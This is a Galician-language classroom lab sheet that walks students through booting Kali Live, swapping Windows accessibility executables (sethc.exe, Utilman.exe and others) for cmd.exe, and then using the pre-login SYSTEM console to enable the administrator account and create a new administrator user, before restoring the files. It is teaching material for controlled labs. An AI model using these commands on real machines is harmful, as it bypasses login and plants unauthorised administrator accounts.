

# Taller SI - Práctica 23a

## Allow Boot CD/DVD/USB MS Windows



### ESCENARIO

Máquina virtual ou física:  
RAM ≤ 2048MB    CPU ≤ 2    PAE/NX habilitado  
Sistema operativo instalado: Microsoft Windows 64bits  
ISO/CD/DVD/USB: Kali Live amd64  
BIOS: Permite arranque dispositivo extraíble: CD/DVD, USB



Táboa. Combinación de teclas

Executable C:\Windows\System32	Atallos de teclado	Descrición
sethc.exe	Premer 5 veces a tecla Shift (Maiúsculas): <⇧>	Teclas especiais (Accesibilidade)
Magnify.exe	Premer a mesmo tempo a tecla Windows e a tecla símbolo suma: <Windows>+<+>	Lupa
Narrator.exe	Premer ao mesmo tempo as 3 teclas: <Windows>+<Ctrl>+<Enter>	Axuda narrador lendo en voz alta
osk.exe	Premer ao mesmo tempo as 3 teclas: <Windows>+<Ctrl>+<o>	Teclado en pantalla
Utilman.exe	Premer ao mesmo tempo as teclas: <Windows>+<u>	Utilidades

**LIMITACIÓN DE RESPONSABILIDADE** O autor do presente documento declina calquera responsabilidade asociada ao uso incorrecto e/ou malicioso que puidese realizarse coa información exposta no mesmo. Por tanto, non se fai responsable en ningún caso, nin pode ser considerado legalmente responsable en ningún caso, das consecuencias que poidan derivarse da información contida nel ou que esté enlazada dende ou hacia el, incluíndo os posibles erros e información incorrecta existentes, información difamatoria, así como das consecuencias que se poidan derivar sobre a súa aplicación en sistemas de información reais e/ou virtuais. Este documento foi xerado para uso didáctico e debe ser empregado en contornas privadas e virtuais controladas co permiso correspondente do administrador desas contornas.

1. Realizar a práctica **Practica-SI-Allow-Boot-CD-USB-Windows.pdf**
2. Crear unha máquina virtual en cada equipo do alumnado coa seguinte configuración (ver escenario):
  - Nome: Practica23a
  - Tipo: Microsoft Windows
  - Versión: Windows 10 (64-bit) ó Windows 11 (64-bit)
  - RAM  $\geq$  2048MB
  - Orde de arranque: Óptica/Disco duro
  - CPU  $\geq$  2
  - PAE/NX habilitado
  - Almacenamento:
    - Unidade óptica(ISO): Microsoft Windows 1x Install x64 (preguntar ao docente)
    - Disco duro dinámico de 80GB
  - Rede: Soamente unha tarxeta activada en modo NAT
3. Avisar ao docente para a revisión ☐<sub>1</sub>
4. Instalar o sistema operativo MS Windows x64 seguindo os pasos do instalador coas seguintes características:
  - Idioma/Teclado: Español
  - Particionamento (sen cifrar): Todo o disco duro
  - Nome de usuario: usuario
  - Contraseñal: abc123. (Olo que o contrasinal ten un carácter punto final)
5. Unha vez instalado o sistema operativo avisar ao docente para a revisión ☐<sub>2</sub>
6. **Arrancar a máquina Windows dende o disco duro sen o dispositivo extraíble conectado**
7. Antes de iniciar sesión con calquera usuario probar o exposto na **Táboa. Combinación de teclas**. Indicar que acontece.
8. Avisar ao docente para a revisión ☐<sub>3</sub>
9. **Apagado normal do sistema operativo**: Para un correcto funcionamento da práctica o sistema operativo Microsoft Windows debe ser apagado sen inconsistencias evitando problemas no sistema de ficheiros NTFS.
10. Avisar ao docente para a revisión ☐<sub>4</sub>
11. **Arrancar coa Kali Live amd64**
12. Na contorna gráfica abrir un terminal e executar:

```
$ setxkbmap es #Cambiar o mapa de teclado ao idioma español.
$ sudo su - #Acceder á consola de root(administrador) a través dos permisos configurados co comando sudo (/etc/sudoers, visudo)
# fdisk -l /dev/sda #Lista a táboa de particións do disco /dev/sda e logo remata.
# mount #Amosar os sistemas de ficheiros montados, é dicir, os que está a usar e podemos empregar neste sistema operativo live Kali.
# mount -t auto /dev/sda2 /mnt #Montar a partición 2 do disco duro /dev/sda no directorio da live /mnt. Coa opción -t auto solicitamos ao comando mount a autodetección do sistema de ficheiros de montaxe. Poderíamos tamén empregar o comando ntfs-3g /dev/sda2 /mnt , o cal xa traballa directamente co sistema de ficheiros NTFS..
# mount #Amosar os sistemas de ficheiros montados, é dicir, os que está a usar e podemos empregar neste sistema operativo live Kali. Neste caso verificamos que a última liña refírese ao punto de montaxe /mnt onde podemos traballar coa partición /dev/sda2.
# cd /mnt/Windows/System32 #Acceder ao directorio do sistemas operativo Microsoft Windows C:\Windows\System32, o cal está montado en /mnt/Windows/System32
# for i in sethc.exe Magnify.exe Narrator.exe osk.exe Utilman.exe; do mv $i old.$i; done
#Mover os executables sethc.exe, Magnify.exe, Narrator, osk.exe e Utilman.exe a old.sethc.exe, old.Magnify.exe, old.Narrator, old.osk.exe e old.Utilman.exe respectivamente
# for i in sethc.exe Magnify.exe Narrator.exe osk.exe Utilman.exe; do cp -pv cmd.exe $i; done
#Copiar o executable cmd.exe en sethc.exe, Magnify.exe, Narrator, osk.exe e Utilman.exe en modo verbose (detallado) e preservando permisos e datas.
```

```
# cd #Acceder ao directorio de traballo do usuario, neste caso, acceder a /root
# umount /mnt #Desmontar (deixar de facer uso) a partición primaria /dev/sda2 que estaba montada en /mnt
```

Avisar ao docente para a revisión ☐<sub>5</sub>

```
# init 0 #Apagar a máquina enviando o sinal de apagado mediante o runlevel 0
```

13. **Arrancar a máquina Windows dende o disco duro sen o dispositivo extraíble conectado**

14. Antes de iniciar sesión con calquera usuario probar o exposto na **Táboa. Combinación de teclas**. Indicar que acontece.

15. Avisar ao docente para a revisión ☐<sub>6</sub>

16. Na consola que aparece executar e indicar que fan os seguintes comandos:

```
whoami
net help user
net user
net user administrador
net user administrador /active:yes
net user administrador abc123.
net user testing abc123. /add /logonpasswordchg:no
net user
net user testing
net help localgroup
net localgroup
net localgroup usuarios
net localgroup administradores
net localgroup administradores testing /add
net localgroup administradores
net user testing
net localgroup usuarios
net localgroup usuarios testing /delete
net localgroup usuarios
net user testing
```

17. Avisar ao docente para a revisión ☐<sub>7</sub>

18. Acceder co usuario **testing** e probar o exposto na **Táboa. Combinación de teclas**. Indicar que acontece.

19. Avisar ao docente para a revisión ☐<sub>8</sub>

20. Acceder co usuario **administrador** e probar o exposto na **Táboa. Combinación de teclas**. Indicar que acontece.

21. Avisar ao docente para a revisión ☐<sub>9</sub>

22. **Apagado normal do sistema operativo:** Para un correcto funcionamento da práctica o sistema operativo Microsoft Windows debe ser apagado sen inconsistencias evitando problemas no sistema de ficheiros NTFS.

23. **Arrancar coa Kali Live amd64**

24. Na contorna gráfica abrir un terminal e executar:

```
$ setxkbmap es #Cambiar o mapa de teclado ao idioma español.
$ sudo su - #Acceder á consola de root(administrador) a través dos permisos configurados co comando sudo (/etc/sudoers, visudo)
# fdisk -l /dev/sda #Lista a táboa de particións do disco /dev/sda e logo remata.
# mount #Amosar os sistemas de ficheiros montados, é dicir, os que está a usar e podemos empregar neste sistema operativo live Kali.
# mount -t auto /dev/sda2 /mnt #Montar a partición 2 do disco duro /dev/sda no directorio da live /mnt. Coa opción -t auto solicitamos ao comando mount a autodetección do sistema de ficheiros de montaxe. Poderíamos tamén empregar o comando ntfs-3g /dev/sda2 /mnt , o cal xa traballa directamente co sistema de ficheiros NTFS..
# mount #Amosar os sistemas de ficheiros montados, é dicir, os que está a usar e podemos empregar neste sistema operativo live Kali. Neste caso verificamos que a última liña refírese ao punto de montaxe /mnt onde podemos traballar coa partición /dev/sda2.
```

```
# cd /mnt/Windows/System32 #Acceder ao directorio do sistemas operativo Microsoft Windows
C:\Windows\System32, o cal está montado en /mnt/Windows/System32
# for i in sethc.exe Magnify.exe Narrator.exe osk.exe Utilman.exe; do mv old.$i $i; done
#Mover os executables old.sethc.exe, old.Magnify.exe, old.Narrator, old.osk.exe e old.Utilman.exe a sethc.exe,
Magnify.exe, Narrator, osk.exe e Utilman.exe respectivamente, é dicir, devolver ao estado orixinal os executables
que foron cambiados por cmd.exe
# cd #Acceder ao directorio de traballo do usuario, neste caso, acceder a /root
# umount /mnt #Desmontar (deixar de facer uso) a partición primaria /dev/sda2 que estaba montada en /mnt
```

Avisar ao docente para a revisión ☐<sub>10</sub>

```
# init 0 #Apagar a máquina enviando o sinal de apagado mediante o runlevel 0
```

25. **Arrancar a máquina Windows dende o disco duro sen o dispositivo extraíble conectado**
26. Antes de iniciar sesión con calquera usuario probar o exposto na **Táboa. Combinación de teclas**. Indicar que acontece.
27. Avisar ao docente para a revisión ☐<sub>11</sub>

---

Ricardo Feijoo Costa



This work is licensed under a **Creative Commons Attribution-ShareAlike 4.0 International License**